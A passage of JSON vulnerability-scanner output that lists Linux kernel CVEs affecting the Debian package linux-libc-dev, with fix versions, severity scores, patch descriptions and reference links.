"https://git.kernel.org/linus/dc278e9bf2b9513a763353e6b9cc21e0f532954e%20%287.1-rc5%29", "https://git.kernel.org/stable/c/23d8ea1e303b5f32d883757a4a707e791dbc9808", "https://git.kernel.org/stable/c/388468f7e7d1eab092cf2a39fdfb502e52019ec6", "https://git.kernel.org/stable/c/97e2d08de282ef76f84ab4ccd00f1acb3f5f999e", "https://git.kernel.org/stable/c/a3fefe65b94b095c9b66420ee0ecabd9fc2e1568", "https://git.kernel.org/stable/c/dc278e9bf2b9513a763353e6b9cc21e0f532954e", "https://git.kernel.org/stable/c/f122d9968d730c2e71d5e59d0d8b7d67acb5b3bb", "https://linux.oracle.com/cve/CVE-2026-64017.html", "https://linux.oracle.com/errata/ELSA-2026-57251.html", "https://lore.kernel.org/linux-cve-announce/2026071900-CVE-2026-64017-c8ee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64017", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64017" ], "PublishedDate": "2026-07-19T16:17:41.68Z", "LastModifiedDate": "2026-10-30T13:19:25.443Z" }, { "VulnerabilityID": "CVE-2026-64018", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64018", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:82a85cc2ef1fafd819bac6688355212ecf69d3197524355f81db27be9b008225", "Title": "kernel: net: mana: validate rx_req_idx to prevent out-of-bounds array access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mana: validate rx_req_idx to prevent out-of-bounds array access\n\nIn mana_hwc_rx_event_handler(), rx_req_idx is derived from\nsge-\u003eaddress in DMA-coherent memory. In Confidential VMs\n(SEV-SNP/TDX), this memory is shared unencrypted and HW can modify\nWQE contents at any time. No bounds check exists on rx_req_idx,\nwhich can lead to an out-of-bounds access into reqs[].\n\nAdd bounds check on rx_req_idx in mana_hwc_rx_event_handler() before\nusing it to index the reqs[] array.", "Severity": "HIGH", "CweIDs": [ "CWE-129", "CWE-125" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H", "V3Score": 8.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64018", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/b809d0409991b75a6cff846a5ac27c3062953f84%20%287.1-rc5%29", "https://git.kernel.org/stable/c/01f7f893d5e1baae995beeb86cd0f3e6bb2a3b01", "https://git.kernel.org/stable/c/355e9f2b2a7887ca38100127989af3e422ba71d0", "https://git.kernel.org/stable/c/5ddc715324badd7f2641bc177db1d027b402adae", "https://git.kernel.org/stable/c/763a372d344fb12fae566d36ddb46e92454ad58c", "https://git.kernel.org/stable/c/b809d0409991b75a6cff846a5ac27c3062953f84", "https://git.kernel.org/stable/c/fa627a5eaa83fc0261f44ef3769693b886ca6e27", "https://git.kernel.org/stable/c/ff1d5af207bcea857d45fe81505f1bc4b29eaef0", "https://linux.oracle.com/cve/CVE-2026-64018.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071901-CVE-2026-64018-43bb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64018", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64018" ], "PublishedDate": "2026-07-19T16:17:41.79Z", "LastModifiedDate": "2026-10-19T21:17:19.547Z" }, { "VulnerabilityID": "CVE-2026-64026", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64026", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:044153e3e1a9d0986213e75bc80c678159916d24fed8ee501db061194bc8cd3a", "Title": "kernel: rxrpc: Fix DATA decrypt vs splice() by copying data to buffer in recvmsg", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix DATA decrypt vs splice() by copying data to buffer in recvmsg\n\nThis improves the fix for CVE-2026-43500.\n\nFix the pagecache corruption from in-place decryption of a DATA packet\ntransmitted locally by splice() by getting rid of the packet sharing in the\nI/O thread and unconditionally extracting the packet content into a bounce\nbuffer in which the buffer is decrypted. recvmsg() (or the kernel\nequivalent) then copies the data from the bounce buffer to the destination\nbuffer. The sk_buff then remains unmodified.\n\nThis has an additional advantage in that the packet is then arranged in the\nbuffer with the correct alignment required for the crypto algorithms to\nprocess directly. The performance of the crypto does seem to be a little\nfaster and, surprisingly, the unencrypted performance doesn't seem to\nchange much - possibly due to removing complexity from the I/O thread.\n\nYet another advantage is that the I/O thread doesn't have to copy packets\nwhich would slow down packet distribution, ACK generation, etc..\n\nThe buffer belongs to the call and is allocated initially at 2K,\nsufficiently large to hold a whole jumbo subpacket, but the buffer will be\nincreased in size if needed. However, to take this work, MSG_PEEK may\ncause a later packet to be decrypted into the buffer, in which case the\nearlier one will need re-decrypting for a subsequent recvmsg().\n\nNote that rx_pkt_offset may legitimately see 0 as a valid offset now, so\nswitch to using USHRT_MAX to indicate an invalid offset.\n\nNote also that I would generally prefer to replace the buffers of the\ncurrent sk_buff with a new kmalloc'd buffer of the right size, ditching the\nold data and frags as this makes the handling of MSG_PEEK easier and\nremoves the re-decryption issue, but this looks like quite a complicated\nthing to achieve. skb_morph() looks half way to what I want, but I don't\nwant to have to allocate a new sk_buff.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-362" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64026", "https://git.kernel.org/linus/d2bc90cf6c75cb96d2ce549be6c35efa3099d25b%20%287.1-rc5%29", "https://git.kernel.org/stable/c/46cb765e2e5ad52303ea157e10d370bb6b7acbbf", "https://git.kernel.org/stable/c/a05bf6d9e621fa71e89ccebe3047ba45218d7b38", "https://git.kernel.org/stable/c/b94a6ccbaf1104dd980150a65fdeb2f69d17d2f5", "https://git.kernel.org/stable/c/c580087743712112778a06d65a4074053072d7bf", "https://git.kernel.org/stable/c/d2bc90cf6c75cb96d2ce549be6c35efa3099d25b", "https://lore.kernel.org/linux-cve-announce/2026071902-CVE-2026-64026-372d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64026", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64026" ], "PublishedDate": "2026-07-19T16:17:42.643Z", "LastModifiedDate": "2026-10-19T21:17:20.06Z" }, { "VulnerabilityID": "CVE-2026-64034", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64034", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1c74454a44555b4df5a2db224e59f1cb39e847545dde6b2bee5ce68986f67a88", "Title": "kernel: net: mana: Fix TOCTOU double-fetch of hwc_msg_id from DMA buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mana: Fix TOCTOU double-fetch of hwc_msg_id from DMA buffer\n\nIn mana_hwc_rx_event_handler(), resp-\u003eresponse.hwc_msg_id is read from\nDMA-coherent memory and bounds-checked, then mana_hwc_handle_resp()\nre-reads the same field from the same DMA buffer for test_bit() and\npointer arithmetic.\n\nDMA-coherent memory is mapped uncacheable on x86 and is shared,\nunencrypted, in Confidential VMs (SEV-SNP/TDX), so each load goes\ndirectly to host-visible memory. A H/W can modify the value\nbetween the check and the use, bypassing the bounds validation.\n\nFix this by reading hwc_msg_id exactly once using READ_ONCE() into a\nstack-local variable in mana_hwc_rx_event_handler(), and passing the\nvalidated value as a parameter to mana_hwc_handle_resp().", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-64034", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/35f0f0a2536a4d604b4dbad92c85c4a8fdebb870%20%287.1-rc5%29", "https://git.kernel.org/stable/c/09ec063d87c2dd3fa6f3561361a017bd882e9f37", "https://git.kernel.org/stable/c/35f0f0a2536a4d604b4dbad92c85c4a8fdebb870", "https://git.kernel.org/stable/c/3c4db56ccd13dd020fbf43afabaee74a40ec75e4", "https://git.kernel.org/stable/c/566f42fb67a7ebfed6650e407e5b72e6b3e83bf7", "https://git.kernel.org/stable/c/6180a06bbc99fd9114b8db4be6c4d46e40f046ef", "https://git.kernel.org/stable/c/70ad2dff8d052a85dfef15715b531f38a29108cf", "https://git.kernel.org/stable/c/a201c66edf2ebc6cfdc3813a889ba20fecebfae3", "https://linux.oracle.com/cve/CVE-2026-64034.html", "https://linux.oracle.com/errata/ELSA-2026-75576.html", "https://lore.kernel.org/linux-cve-announce/2026071904-CVE-2026-64034-6fd0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64034", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64034" ], "PublishedDate": "2026-07-19T16:17:43.62Z", "LastModifiedDate": "2026-10-19T21:17:20.953Z" }, { "VulnerabilityID": "CVE-2026-64051", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64051", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7511be4b96df0c6f23f5d0a09e13cf3a28f8cc395806d52d88686851e55f1c6c", "Title": "kernel: accel/qaic: Add overflow check to remap_pfn_range during mmap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/qaic: Add overflow check to remap_pfn_range during mmap\n\nThe call to remap_pfn_range in qaic_gem_object_mmap is susceptible to\n(re)mapping beyond the VMA if the BO is too large. This can cause use\nafter free issues when munmap() unmaps only the VMA region and not the\nadditional mappings. To prevent this, check the remaining size of the\nVMA before remapping and truncate the remapped length if sg-\u003elength is\ntoo large.\n\n[jhugo: fix braces from checkpatch --strict]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65334", "https://access.redhat.com/security/cve/CVE-2026-64051", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2482554", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2493709", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2502547", "https://bugzilla.redhat.com/2502613", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2513342", "https://bugzilla.redhat.com/2513386", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2482554", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2493709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2502547", "https://bugzilla.redhat.com/show_bug.cgi?id=2502613", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2513342", "https://bugzilla.redhat.com/show_bug.cgi?id=2513386", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53322", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64042", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", 